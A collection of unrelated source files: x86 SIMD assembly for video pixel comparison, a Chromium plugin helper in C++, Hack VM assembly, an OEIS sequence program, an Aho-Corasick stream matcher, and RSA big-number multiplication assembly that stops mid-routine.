STORE4 rsp+gprsize, m0, m1, m2, m3
mova m7, [rsp+gprsize+0x60]
TRANSPOSE4x4W 4, 5, 6, 7, 0
STORE4 rsp+gprsize+0x40, m4, m5, m6, m7
; second 4x8 pixels
DIFF_PIXELS_8 r1, r2, 4, r3, r0, rsp+gprsize+0x60
HADAMARD8
mova [rsp+gprsize+0x60], m7
TRANSPOSE4x4W 0, 1, 2, 3, 7
STORE4 rsp+gprsize+0x20, m0, m1, m2, m3
mova m7, [rsp+gprsize+0x60]
TRANSPOSE4x4W 4, 5, 6, 7, 0
LOAD4 rsp+gprsize+0x40, m0, m1, m2, m3
HADAMARD8
ABS_SUM_8x8_32 rsp+gprsize+0x60
mova [rsp+gprsize+0x60], m0
LOAD4 rsp+gprsize , m0, m1, m2, m3
LOAD4 rsp+gprsize+0x20, m4, m5, m6, m7
HADAMARD8
ABS_SUM_8x8_32 rsp+gprsize
paddusw m0, [rsp+gprsize+0x60]
HSUM m0, m1, eax
and rax, 0xFFFF
ret
hadamard8_16_wrapper 0, 14
%endif
%endmacro
INIT_MMX mmx
HADAMARD8_DIFF
INIT_MMX mmxext
HADAMARD8_DIFF
INIT_XMM sse2
%if ARCH_X86_64
%define ABS_SUM_8x8 ABS_SUM_8x8_64
%else
%define ABS_SUM_8x8 ABS_SUM_8x8_32
%endif
HADAMARD8_DIFF 10
INIT_XMM ssse3
%define ABS_SUM_8x8 ABS_SUM_8x8_64
HADAMARD8_DIFF 9
INIT_XMM sse2
; sse16_sse2(void *v, uint8_t * pix1, uint8_t * pix2, int line_size, int h)
cglobal sse16, 5, 5, 8
shr r4d, 1
pxor m0, m0 ; mm0 = 0
pxor m7, m7 ; mm7 holds the sum
.next2lines: ; FIXME why are these unaligned movs? pix1[] is aligned
movu m1, [r1 ] ; mm1 = pix1[0][0-15]
movu m2, [r2 ] ; mm2 = pix2[0][0-15]
movu m3, [r1+r3] ; mm3 = pix1[1][0-15]
movu m4, [r2+r3] ; mm4 = pix2[1][0-15]
; todo: mm1-mm2, mm3-mm4
; algo: subtract mm1 from mm2 with saturation and vice versa
; OR the result to get the absolute difference
mova m5, m1
mova m6, m3
psubusb m1, m2
psubusb m3, m4
psubusb m2, m5
psubusb m4, m6
por m2, m1
por m4, m3
; now convert to 16-bit vectors so we can square them
mova m1, m2
mova m3, m4
punpckhbw m2, m0
punpckhbw m4, m0
punpcklbw m1, m0 ; mm1 not spread over (mm1,mm2)
punpcklbw m3, m0 ; mm4 not spread over (mm3,mm4)
pmaddwd m2, m2
pmaddwd m4, m4
pmaddwd m1, m1
pmaddwd m3, m3
lea r1, [r1+r3*2] ; pix1 += 2*line_size
lea r2, [r2+r3*2] ; pix2 += 2*line_size
paddd m1, m2
paddd m3, m4
paddd m7, m1
paddd m7, m3
dec r4
jnz .next2lines
mova m1, m7
psrldq m7, 8 ; shift hi qword to lo
paddd m7, m1
mova m1, m7
psrldq m7, 4 ; shift hi dword to lo
paddd m7, m1
movd eax, m7 ; return value
RET
INIT_MMX mmx
; get_pixels_mmx(int16_t *block, const uint8_t *pixels, int line_size)
cglobal get_pixels, 3,4
movsxdifnidn r2, r2d
add r0, 128
mov r3, -128
pxor m7, m7
.loop:
mova m0, [r1]
mova m2, [r1+r2]
mova m1, m0
mova m3, m2
punpcklbw m0, m7
punpckhbw m1, m7
punpcklbw m2, m7
punpckhbw m3, m7
mova [r0+r3+ 0], m0
mova [r0+r3+ 8], m1
mova [r0+r3+16], m2
mova [r0+r3+24], m3
lea r1, [r1+r2*2]
add r3, 32
js .loop
REP_RET
INIT_XMM sse2
cglobal get_pixels, 3, 4
movsxdifnidn r2, r2d
lea r3, [r2*3]
pxor m4, m4
movh m0, [r1]
movh m1, [r1+r2]
movh m2, [r1+r2*2]
movh m3, [r1+r3]
lea r1, [r1+r2*4]
punpcklbw m0, m4
punpcklbw m1, m4
punpcklbw m2, m4
punpcklbw m3, m4
mova [r0], m0
mova [r0+0x10], m1
mova [r0+0x20], m2
mova [r0+0x30], m3
movh m0, [r1]
movh m1, [r1+r2*1]
movh m2, [r1+r2*2]
movh m3, [r1+r3]
punpcklbw m0, m4
punpcklbw m1, m4
punpcklbw m2, m4
punpcklbw m3, m4
mova [r0+0x40], m0
mova [r0+0x50], m1
mova [r0+0x60], m2
mova [r0+0x70], m3
RET
INIT_MMX mmx
; diff_pixels_mmx(int16_t *block, const uint8_t *s1, const unint8_t *s2, stride)
cglobal diff_pixels, 4,5
movsxdifnidn r3, r3d
pxor m7, m7
add r0, 128
mov r4, -128
.loop:
mova m0, [r1]
mova m2, [r2]
mova m1, m0
mova m3, m2
punpcklbw m0, m7
punpckhbw m1, m7
punpcklbw m2, m7
punpckhbw m3, m7
psubw m0, m2
psubw m1, m3
mova [r0+r4+0], m0
mova [r0+r4+8], m1
add r1, r3
add r2, r3
add r4, 16
jne .loop
REP_RET
INIT_MMX mmx
; pix_sum16_mmx(uint8_t * pix, int line_size)
cglobal pix_sum16, 2, 3
movsxdifnidn r1, r1d
mov r2, r1
neg r2
shl r2, 4
sub r0, r2
pxor m7, m7
pxor m6, m6
.loop:
mova m0, [r0+r2+0]
mova m1, [r0+r2+0]
mova m2, [r0+r2+8]
mova m3, [r0+r2+8]
punpcklbw m0, m7
punpckhbw m1, m7
punpcklbw m2, m7
punpckhbw m3, m7
paddw m1, m0
paddw m3, m2
paddw m3, m1
paddw m6, m3
add r2, r1
js .loop
mova m5, m6
psrlq m6, 32
paddw m6, m5
mova m5, m6
psrlq m6, 16
paddw m6, m5
movd eax, m6
and eax, 0xffff
RET
INIT_MMX mmx
; pix_norm1_mmx(uint8_t *pix, int line_size)
cglobal pix_norm1, 2, 4
movsxdifnidn r1, r1d
mov r2, 16
pxor m0, m0
pxor m7, m7
.loop:
mova m2, [r0+0]
mova m3, [r0+8]
mova m1, m2
punpckhbw m1, m0
punpcklbw m2, m0
mova m4, m3
punpckhbw m3, m0
punpcklbw m4, m0
pmaddwd m1, m1
pmaddwd m2, m2
pmaddwd m3, m3
pmaddwd m4, m4
paddd m2, m1
paddd m4, m3
paddd m7, m2
add r0, r1
paddd m7, m4
dec r2
jne .loop
mova m1, m7
psrlq m7, 32
paddd m1, m7
movd eax, m1
RET
|
// Copyright (c) 2010 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "webkit/plugins/ppapi/resource_helper.h"
#include "base/logging.h"
#include "ppapi/shared_impl/resource.h"
#include "webkit/plugins/ppapi/host_globals.h"
#include "webkit/plugins/ppapi/ppapi_plugin_instance.h"
#include "webkit/plugins/ppapi/plugin_module.h"
#include "webkit/plugins/ppapi/ppapi_plugin_instance.h"
namespace webkit {
namespace ppapi {
// static
PluginInstance* ResourceHelper::GetPluginInstance(
const ::ppapi::Resource* resource) {
return PPInstanceToPluginInstance(resource->pp_instance());
}
PluginInstance* ResourceHelper::PPInstanceToPluginInstance(
PP_Instance instance) {
return HostGlobals::Get()->GetInstance(instance);
}
PluginModule* ResourceHelper::GetPluginModule(
const ::ppapi::Resource* resource) {
PluginInstance* instance = GetPluginInstance(resource);
return instance ? instance->module() : NULL;
}
PluginDelegate* ResourceHelper::GetPluginDelegate(
const ::ppapi::Resource* resource) {
PluginInstance* instance = GetPluginInstance(resource);
return instance ? instance->delegate() : NULL;
}
} // namespace ppapi
} // namespace webkit
|
//push constant 111
@111
D=A
@SP
A=M
M=D
@SP
M=M+1
//push constant 333
@333
D=A
@SP
A=M
M=D
@SP
M=M+1
//push constant 888
@888
D=A
@SP
A=M
M=D
@SP
M=M+1
//pop static 8
@SP
M=M-1
A=M
D=M
@24
M=D
//pop static 3
@SP
M=M-1
A=M
D=M
@19
M=D
//pop static 1
@SP
M=M-1
A=M
D=M
@17
M=D
//push static 3
@19
D=M
@SP
A=M
M=D
@SP
M=M+1
//push static 1
@17
D=M
@SP
A=M
M=D
@SP
M=M+1
//sub
@SP
M=M-1
A=M
D=M
A=A-1
M=M-D
//push static 8
@24
D=M
@SP
A=M
M=D
@SP
M=M+1
//add
@SP
M=M-1
A=M
D=M
A=A-1
M=D+M
|
; A030186: a(n) = 3*a(n-1) + a(n-2) - a(n-3) for n >= 3, a(0)=1, a(1)=2, a(2)=7.
; Submitted by Jamie Morken(w3)
; 1,2,7,22,71,228,733,2356,7573,24342,78243,251498,808395,2598440,8352217,26846696,86293865,277376074,891575391,2865808382,9211624463,29609106380,95173135221,305916887580,983314691581,3160687827102,10159461285307,32655756991442,104966044432531,337394429003728,1084493574452273,3485909107928016,11204826469232593,36015894941173522,115766602184825143,372110875026416358,1196083332322900695,3844594269810293300,12357755266727364237,39721776737669485316,127678491209925526885,410399495100718701734
mov $1,1
lpb $0
sub $0,1
add $3,$1
add $1,$3
mov $2,$4
mov $4,$1
add $1,$2
lpe
mov $0,$1
|
class StreamChecker {
struct Node {
Node *next[26];
Node *fail;
bool isWord;
Node() {
memset(next, NULL, sizeof(next));
fail = NULL;
isWord = false;
}
};
public:
StreamChecker(vector<string>& words) {
root = new Node();
for (auto &word : words) {
insert(word);
}
stream();
now = root;
}
bool query(char letter) {
while (now != root && now->next[letter - 'a'] == NULL) {
now = now->fail;
}
if (now->next[letter - 'a']) {
now = now->next[letter - 'a'];
}
return now->isWord;
}
private:
Node *root;
Node *now;
void insert(string &word) {
Node *p = root;
for (auto &c : word) {
if (p->next[c - 'a'] == NULL) {
p->next[c - 'a'] = new Node();
}
p = p->next[c - 'a'];
}
p->isWord = true;
}
void stream() {
queue<Node*> q;
q.push(root);
while (!q.empty()) {
Node *start = q.front();
q.pop();
for (int i = 0; i < 26; i++) {
if (start->next[i] != NULL) {
Node *fail = start->fail;
while (fail != NULL && fail->next[i] == NULL) {
fail = fail->fail;
}
if (fail != NULL) {
start->next[i]->fail = fail->next[i];
start->next[i]->isWord |= fail->next[i]->isWord;
} else {
start->next[i]->fail = root;
}
q.push(start->next[i]);
}
}
}
root->fail = root;
}
};
/**
* Your StreamChecker object will be instantiated and called as such:
* StreamChecker* obj = new StreamChecker(words);
* bool param_1 = obj->query(letter);
*/
|
OPTION DOTNAME
.text$ SEGMENT ALIGN(256) 'CODE'
EXTERN OPENSSL_ia32cap_P:NEAR
PUBLIC rsaz_512_sqr
ALIGN 32
rsaz_512_sqr PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_rsaz_512_sqr::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
push rbx
push rbp
push r12
push r13
push r14
push r15
sub rsp,128+24
$L$sqr_body::
mov rbp,rdx
mov rdx,QWORD PTR[rsi]
mov rax,QWORD PTR[8+rsi]
mov QWORD PTR[128+rsp],rcx
mov r11d,080100h
and r11d,DWORD PTR[((OPENSSL_ia32cap_P+8))]
cmp r11d,080100h
je $L$oop_sqrx
jmp $L$oop_sqr
ALIGN 32
$L$oop_sqr::
mov DWORD PTR[((128+8))+rsp],r8d
mov rbx,rdx
mul rdx
mov r8,rax
mov rax,QWORD PTR[16+rsi]
mov r9,rdx
mul rbx
add r9,rax
mov rax,QWORD PTR[24+rsi]
mov r10,rdx
adc r10,0
mul rbx
add r10,rax
mov rax,QWORD PTR[32+rsi]
mov r11,rdx
adc r11,0
mul rbx
add r11,rax
mov rax,QWORD PTR[40+rsi]
mov r12,rdx
adc r12,0
mul rbx
add r12,rax
mov rax,QWORD PTR[48+rsi]
mov r13,rdx
adc r13,0
mul rbx
add r13,rax
mov rax,QWORD PTR[56+rsi]
mov r14,rdx
adc r14,0
mul rbx
add r14,rax
mov rax,rbx
mov r15,rdx
adc r15,0
add r8,r8
mov rcx,r9
adc r9,r9
mul rax
mov QWORD PTR[rsp],rax
add r8,rdx
adc r9,0
mov QWORD PTR[8+rsp],r8
shr rcx,63
mov r8,QWORD PTR[8+rsi]
mov rax,QWORD PTR[16+rsi]
mul r8
add r10,rax
mov rax,QWORD PTR[24+rsi]
mov rbx,rdx
adc rbx,0
mul r8
add r11,rax
mov rax,QWORD PTR[32+rsi]
adc rdx,0
add r11,rbx
mov rbx,rdx
adc rbx,0
mul r8
add r12,rax
mov rax,QWORD PTR[40+rsi]
adc rdx,0
add r12,rbx
mov rbx,rdx
adc rbx,0
mul r8
add r13,rax
mov rax,QWORD PTR[48+rsi]
adc rdx,0
add r13,rbx
mov rbx,rdx
adc rbx,0
mul r8
add r14,rax
mov rax,QWORD PTR[56+rsi]
adc rdx,0
add r14,rbx
mov rbx,rdx
adc rbx,0
mul r8
add r15,rax
mov rax,r8
adc rdx,0
add r15,rbx
mov r8,rdx
mov rdx,r10
adc r8,0
add rdx,rdx
lea r10,QWORD PTR[r10*2+rcx]
mov rbx,r11
adc r11,r11
mul rax
add r9,rax
adc r10,rdx
adc r11,0
mov QWORD PTR[16+rsp],r9
mov QWORD PTR[24+rsp],r10
shr rbx,63
mov r9,QWORD PTR[16+rsi]
mov rax,QWORD PTR[24+rsi]
mul r9
add r12,rax
mov rax,QWORD PTR[32+rsi]
mov rcx,rdx
adc rcx,0
mul r9
add r13,rax
mov rax,QWORD PTR[40+rsi]
adc rdx,0
add r13,rcx
mov rcx,rdx
adc rcx,0
mul r9
add r14,rax
mov rax,QWORD PTR[48+rsi]
adc rdx,0
add r14,rcx
mov rcx,rdx
adc rcx,0
mul r9
mov r10,r12
lea r12,QWORD PTR[r12*2+rbx]
add r15,rax
mov rax,QWORD PTR[56+rsi]
adc rdx,0
add r15,rcx
mov rcx,rdx
adc rcx,0
mul r9
shr r10,63
add r8,rax
mov rax,r9
adc rdx,0
add r8,rcx
mov r9,rdx
adc r9,0
mov rcx,r13
lea r13,QWORD PTR[r13*2+r10]
mul rax
add r11,rax
adc r12,rdx
adc r13,0
mov QWORD PTR[32+rsp],r11
mov QWORD PTR[40+rsp],r12
shr rcx,63
mov r10,QWORD PTR[24+rsi]
mov rax,QWORD PTR[32+rsi]
mul r10
add r14,rax
mov rax,QWORD PTR[40+rsi]
mov rbx,rdx
adc rbx,0
mul r10
add r15,rax
mov rax,QWORD PTR[48+rsi]
adc rdx,0
add r15,rbx
mov rbx,rdx
adc rbx,0
mul r10
mov r12,r14
lea r14,QWORD PTR[r14*2+rcx]
add r8,rax
mov rax,QWORD PTR[56+rsi]
adc rdx,0
add r8,rbx
mov rbx,rdx
adc rbx,0
mul r10
shr r12,63
add r9,rax
mov rax,r10
adc rdx,0
add r9,rbx
mov r10,rdx
adc r10,0
mov rbx,r15
lea r15,QWORD PTR[r15*2+r12]
mul rax
add r13,rax
adc r14,rdx
adc r15,0
mov QWORD PTR[48+rsp],r13
mov QWORD PTR[56+rsp],r14
shr rbx,63
mov r11,QWORD PTR[32+rsi]
mov rax,QWORD PTR[40+rsi]
mul r11
add r8,rax
mov rax,QWORD PTR[48+rsi]
mov rcx,rdx
adc rcx,0
mul r11
add r9,rax
mov rax,QWORD PTR[56+rsi]
adc rdx,0
mov r12,r8
lea r8,QWORD PTR[r8*2+rbx]
add r9,rcx
mov rcx,rdx
adc rcx,0
mul r11
shr r12,63
add r10,rax
mov rax,r11
adc rdx,0
add r10,rcx
mov r11,rdx
adc r11,0
mov rcx,r9
lea r9,QWORD PTR[r9*2+r12]
mul rax
add r15,rax
adc r8,rdx
adc r9,0
mov QWORD PTR[64+rsp],r15
mov QWORD PTR[72+rsp],r8
shr rcx,63
mov r12,QWORD PTR[40+rsi]
mov rax,QWORD PTR[48+rsi]
mul r12
add r10,rax
mov rax,QWORD PTR[56+rsi]
mov rbx,rdx
adc rbx,0
mul r12
add r11,rax
mov rax,r12
mov r15,r10
lea r10,QWORD PTR[r10*2+rcx]
adc rdx,0
shr r15,63
add r11,rbx
mov r12,rdx
adc r12,0
mov rbx,r11
lea r11,QWORD PTR[r11*2+r15]
mul rax
add r9,rax
adc r10,rdx
adc r11,0
mov QWORD PTR[80+rsp],r9
mov QWORD PTR[88+rsp],r10
mov r13,QWORD PTR[48+rsi]
mov rax,QWORD PTR[56+rsi]
mul r13
add r12,rax
mov rax,r13
mov r13,rdx
adc r13,0
xor r14,r14
shl rbx,1
adc r12,r12
adc r13,r13
adc r14,r14
mul rax
add r11,rax
adc r12,rdx
adc r13,0
mov QWORD PTR[96+rsp],r11
mov QWORD PTR[104+rsp],r12
mov rax,QWORD PTR[56+rsi]
mul rax
add r13,rax
adc rdx,0
add r14,rdx
mov QWORD PTR[112+rsp],r13
mov QWORD PTR[120+rsp],r14
mov r8,QWORD PTR[rsp]
mov r9,QWORD PTR[8+rsp]
mov r10,QWORD PTR[16+rsp]
mov r11,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov r13,QWORD PTR[40+rsp]
mov r14,QWORD PTR[48+rsp]
mov r15,QWORD PTR[56+rsp]
call __rsaz_512_reduce
add r8,QWORD PTR[64+rsp]
adc r9,QWORD PTR[72+rsp]
adc r10,QWORD PTR[80+rsp]
adc r11,QWORD PTR[88+rsp]
adc r12,QWORD PTR[96+rsp]
adc r13,QWORD PTR[104+rsp]
adc r14,QWORD PTR[112+rsp]
adc r15,QWORD PTR[120+rsp]
sbb rcx,rcx
call __rsaz_512_subtract
mov rdx,r8
mov rax,r9
mov r8d,DWORD PTR[((128+8))+rsp]
mov rsi,rdi
dec r8d
jnz $L$oop_sqr
jmp $L$sqr_tail
ALIGN 32
$L$oop_sqrx::
mov DWORD PTR[((128+8))+rsp],r8d
DB 102,72,15,110,199
DB 102,72,15,110,205
mulx r9,r8,rax
mulx r10,rcx,QWORD PTR[16+rsi]
xor rbp,rbp
mulx r11,rax,QWORD PTR[24+rsi]
adcx r9,rcx
mulx r12,rcx,QWORD PTR[32+rsi]
adcx r10,rax
mulx r13,rax,QWORD PTR[40+rsi]
adcx r11,rcx
DB 0c4h,062h,0f3h,0f6h,0b6h,030h,000h,000h,000h
adcx r12,rax
adcx r13,rcx
DB 0c4h,062h,0fbh,0f6h,0beh,038h,000h,000h,000h
adcx r14,rax
adcx r15,rbp
mov rcx,r9
shld r9,r8,1
shl r8,1
xor ebp,ebp
mulx rdx,rax,rdx
adcx r8,rdx
mov rdx,QWORD PTR[8+rsi]
adcx r9,rbp
mov QWORD PTR[rsp],rax
mov QWORD PTR[8+rsp],r8
mulx rbx,rax,QWORD PTR[16+rsi]
adox r10,rax
adcx r11,rbx
DB 0c4h,062h,0c3h,0f6h,086h,018h,000h,000h,000h
adox r11,rdi
adcx r12,r8
mulx rbx,rax,QWORD PTR[32+rsi]
adox r12,rax
adcx r13,rbx
mulx r8,rdi,QWORD PTR[40+rsi]
adox r13,rdi
adcx r14,r8
DB 0c4h,0e2h,0fbh,0f6h,09eh,030h,000h,000h,000h
adox r14,rax
adcx r15,rbx
DB 0c4h,062h,0c3h,0f6h,086h,038h,000h,000h,000h
adox r15,rdi
adcx r8,rbp
adox r8,rbp
mov rbx,r11
shld r11,r10,1
shld r10,rcx,1
xor ebp,ebp
mulx rcx,rax,rdx
mov rdx,QWORD PTR[16+rsi]
adcx r9,rax
adcx r10,rcx
adcx r11,rbp
mov QWORD PTR[16+rsp],r9
DB 04ch,089h,094h,024h,018h,000h,000h,000h
DB 0c4h,062h,0c3h,0f6h,08eh,018h,000h,000h,000h
adox r12,rdi
adcx r13,r9
mulx rcx,rax,QWORD PTR[32+rsi]
adox r13,rax
adcx r14,rcx
mulx r9,rdi,QWORD PTR[40+rsi]
adox r14,rdi
adcx r15,r9
DB 0c4h,0e2h,0fbh,0f6h,08eh,030h,000h,000h,000h
adox r15,rax
adcx r8,rcx
DB 0c4h,062h,0c3h,0f6h,08eh,038h,000h,000h,000h
adox r8,rdi
adcx r9,rbp
adox r9,rbp
mov rcx,r13
shld r13,r12,1
shld r12,rbx,1
xor ebp,ebp
mulx rdx,rax,rdx
adcx r11,rax
adcx r12,rdx
mov rdx,QWORD PTR[24+rsi]
adcx r13,rbp
mov QWORD PTR[32+rsp],r11
DB 04ch,089h,0a4h,024h,028h,000h,000h,000h
DB 0c4h,0e2h,0fbh,0f6h,09eh,020h,000h,000h,000h
adox r14,rax
adcx r15,rbx
mulx r10,rdi,QWORD PTR[40+rsi]
adox r15,rdi
adcx r8,r10
mulx rbx,rax,QWORD PTR[48+rsi]
adox r8,rax
adcx r9,rbx
mulx r10,rdi,QWORD PTR[56+rsi]
adox r9,rdi
adcx r10,rbp
adox r10,rbp
DB 066h
mov rbx,r15
shld r15,r14,1
shld r14,rcx,1
xor ebp,ebp
mulx rdx,rax,rdx
adcx r13,rax
adcx r14,rdx
mov rdx,QWORD PTR[32+rsi]
adcx r15,rbp
mov QWORD PTR[48+rsp],r13
mov QWORD PTR[56+rsp],r14
DB 0c4h,062h,0c3h,0f6h,09eh,028h,000h,000h,000h
adox r8,rdi
adcx r9,r11
mulx rcx,rax,QWORD PTR[48+rsi]
adox r9,rax
adcx r10,rcx
mulx r11,rdi,QWORD PTR[56+rsi]
adox r10,rdi
adcx r11,rbp
adox r11,rbp
mov rcx,r9
shld r9,r8,1
shld r8,rbx,1
xor ebp,ebp
mulx rdx,rax,rdx
adcx r15,rax
adcx r8,rdx
mov rdx,QWORD PTR[40+rsi]
adcx r9,rbp
mov QWORD PTR[64+rsp],r15
mov QWORD PTR[72+rsp],r8
DB 0c4h,0e2h,0fbh,0f6h,09eh,030h,000h,000h,000h
adox r10,rax
adcx r11,rbx
DB 0c4h,062h,0c3h,0f6h,0a6h,038h,000h,000h,000h
adox r11,rdi
adcx r12,rbp
adox r12,rbp
mov rbx,r11
shld r11,r10,1
shld r10,rcx,1
xor ebp,ebp
mulx rdx,rax,rdx
adcx r9,rax
adcx r10,rdx
mov rdx,QWORD PTR[48+rsi]
adcx r11,rbp
mov QWORD PTR[80+rsp],r9
mov QWORD PTR[88+rsp],r10
DB 0c4h,062h,0fbh,0f6h,0aeh,038h,000h,000h,000h
adox r12,rax
adox r13,rbp
xor r14,r14
shld r14,r13,1
shld r13,r12,1
shld r12,rbx,1
xor ebp,ebp
mulx rdx,rax,rdx
adcx r11,rax
adcx r12,rdx
mov rdx,QWORD PTR[56+rsi]
adcx r13,rbp
DB 04ch,089h,09ch,024h,060h,000h,000h,000h
DB 04ch,089h,0a4h,024h,068h,000h,000h,000h
mulx rdx,rax,rdx
adox r13,rax
adox rdx,rbp
DB 066h
add r14,rdx
mov QWORD PTR[112+rsp],r13
mov QWORD PTR[120+rsp],r14
DB 102,72,15,126,199
DB 102,72,15,126,205
mov rdx,QWORD PTR[128+rsp]
mov r8,QWORD PTR[rsp]
mov r9,QWORD PTR[8+rsp]
mov r10,QWORD PTR[16+rsp]
mov r11,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov r13,QWORD PTR[40+rsp]
mov r14,QWORD PTR[48+rsp]
mov r15,QWORD PTR[56+rsp]
call __rsaz_512_reducex
add r8,QWORD PTR[64+rsp]
adc r9,QWORD PTR[72+rsp]
adc r10,QWORD PTR[80+rsp]
adc r11,QWORD PTR[88+rsp]
adc r12,QWORD PTR[96+rsp]
adc r13,QWORD PTR[104+rsp]
adc r14,QWORD PTR[112+rsp]
adc r15,QWORD PTR[120+rsp]
sbb rcx,rcx
call __rsaz_512_subtract
mov rdx,r8
mov rax,r9
mov r8d,DWORD PTR[((128+8))+rsp]
mov rsi,rdi
dec r8d
jnz $L$oop_sqrx
$L$sqr_tail::
lea rax,QWORD PTR[((128+24+48))+rsp]
mov r15,QWORD PTR[((-48))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov rbx,QWORD PTR[((-8))+rax]
lea rsp,QWORD PTR[rax]
$L$sqr_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_rsaz_512_sqr::
rsaz_512_sqr ENDP
PUBLIC rsaz_512_mul
ALIGN 32
rsaz_512_mul PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_rsaz_512_mul::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
push rbx
push rbp
push r12
push r13
push r14
push r15
sub rsp,128+24
$L$mul_body::
DB 102,72,15,110,199
DB 102,72,15,110,201
mov QWORD PTR[128+rsp],r8
mov r11d,080100h
and r11d,DWORD PTR[((OPENSSL_ia32cap_P+8))]
cmp r11d,080100h
je $L$mulx
mov rbx,QWORD PTR[rdx]
mov rbp,rdx
call __rsaz_512_mul
DB 102,72,15,126,199
DB 102,72,15,126,205
mov r8,QWORD PTR[rsp]
mov r9,QWORD PTR[8+rsp]
mov r10,QWORD PTR[16+rsp]
mov r11,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov r13,QWORD PTR[40+rsp]
mov r14,QWORD PTR[48+rsp]
mov r15,QWORD PTR[56+rsp]
call __rsaz_512_reduce
jmp $L$mul_tail
ALIGN 32
$L$mulx::
mov rbp,rdx
mov rdx,QWORD PTR[rdx]
call __rsaz_512_mulx
DB 102,72,15,126,199
DB 102,72,15,126,205
mov rdx,QWORD PTR[128+rsp]
mov r8,QWORD PTR[rsp]
mov r9,QWORD PTR[8+rsp]
mov r10,QWORD PTR[16+rsp]
mov r11,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov r13,QWORD PTR[40+rsp]
mov r14,QWORD PTR[48+rsp]
mov r15,QWORD PTR[56+rsp]
call __rsaz_512_reducex
$L$mul_tail::
add r8,QWORD PTR[64+rsp]
adc r9,QWORD PTR[72+rsp]
adc r10,QWORD PTR[80+rsp]
adc r11,QWORD PTR[88+rsp]
adc r12,QWORD PTR[96+rsp]
adc r13,QWORD PTR[104+rsp]
adc r14,QWORD PTR[112+rsp]
adc r15,QWORD PTR[120+rsp]
sbb rcx,rcx
call __rsaz_512_subtract
lea rax,QWORD PTR[((128+24+48))+rsp]
mov r15,QWORD PTR[((-48))+rax]
mov r14,QWORD PTR[((-40))+rax]
mov r13,QWORD PTR[((-32))+rax]
mov r12,QWORD PTR[((-24))+rax]
mov rbp,QWORD PTR[((-16))+rax]
mov rbx,QWORD PTR[((-8))+rax]
lea rsp,QWORD PTR[rax]
$L$mul_epilogue::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_rsaz_512_mul::
rsaz_512_mul ENDP
PUBLIC rsaz_512_mul_gather4
ALIGN 32
rsaz_512_mul_gather4 PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_rsaz_512_mul_gather4::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
mov r9,QWORD PTR[48+rsp]
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r9d,r9d
sub rsp,128+24
$L$mul_gather4_body::
mov r11d,080100h
and r11d,DWORD PTR[((OPENSSL_ia32cap_P+8))]
cmp r11d,080100h
je $L$mulx_gather
mov eax,DWORD PTR[64+r9*4+rdx]
DB 102,72,15,110,199
mov ebx,DWORD PTR[r9*4+rdx]
DB 102,72,15,110,201
mov QWORD PTR[128+rsp],r8
shl rax,32
or rbx,rax
mov rax,QWORD PTR[rsi]
mov rcx,QWORD PTR[8+rsi]
lea rbp,QWORD PTR[128+r9*4+rdx]
mul rbx
mov QWORD PTR[rsp],rax
mov rax,rcx
mov r8,rdx
mul rbx
movd xmm4,DWORD PTR[rbp]
add r8,rax
mov rax,QWORD PTR[16+rsi]
mov r9,rdx
adc r9,0
mul rbx
movd xmm5,DWORD PTR[64+rbp]
add r9,rax
mov rax,QWORD PTR[24+rsi]
mov r10,rdx
adc r10,0
mul rbx
pslldq xmm5,4
add r10,rax
mov rax,QWORD PTR[32+rsi]
mov r11,rdx
adc r11,0
mul rbx
por xmm4,xmm5
add r11,rax
mov rax,QWORD PTR[40+rsi]
mov r12,rdx
adc r12,0
mul rbx
add r12,rax
mov rax,QWORD PTR[48+rsi]
mov r13,rdx
adc r13,0
mul rbx
lea rbp,QWORD PTR[128+rbp]
add r13,rax
mov rax,QWORD PTR[56+rsi]
mov r14,rdx
adc r14,0
mul rbx
DB 102,72,15,126,227
add r14,rax
mov rax,QWORD PTR[rsi]
mov r15,rdx
adc r15,0
lea rdi,QWORD PTR[8+rsp]
mov ecx,7
jmp $L$oop_mul_gather
ALIGN 32
$L$oop_mul_gather::
mul rbx
add r8,rax
mov rax,QWORD PTR[8+rsi]
mov QWORD PTR[rdi],r8
mov r8,rdx
adc r8,0
mul rbx
movd xmm4,DWORD PTR[rbp]
add r9,rax
mov rax,QWORD PTR[16+rsi]
adc rdx,0
add r8,r9
mov r9,rdx
adc r9,0
mul rbx
movd xmm5,DWORD PTR[64+rbp]
add r10,rax
mov rax,QWORD PTR[24+rsi]
adc rdx,0
add r9,r10
mov r10,rdx
adc r10,0
mul rbx
pslldq xmm5,4
add r11,rax
mov rax,QWORD PTR[32+rsi]
adc rdx,0
add r10,r11
mov r11,rdx
adc r11,0
mul rbx
por xmm4,xmm5
add r12,rax
mov rax,QWORD PTR[40+rsi]
adc rdx,0
add r11,r12
mov r12,rdx
adc r12,0
mul rbx
add r13,rax
mov rax,QWORD PTR[48+rsi]
adc rdx,0
add r12,r13
mov r13,rdx
adc r13,0
mul rbx
add r14,rax
mov rax,QWORD PTR[56+rsi]
adc rdx,0
add r13,r14
mov r14,rdx
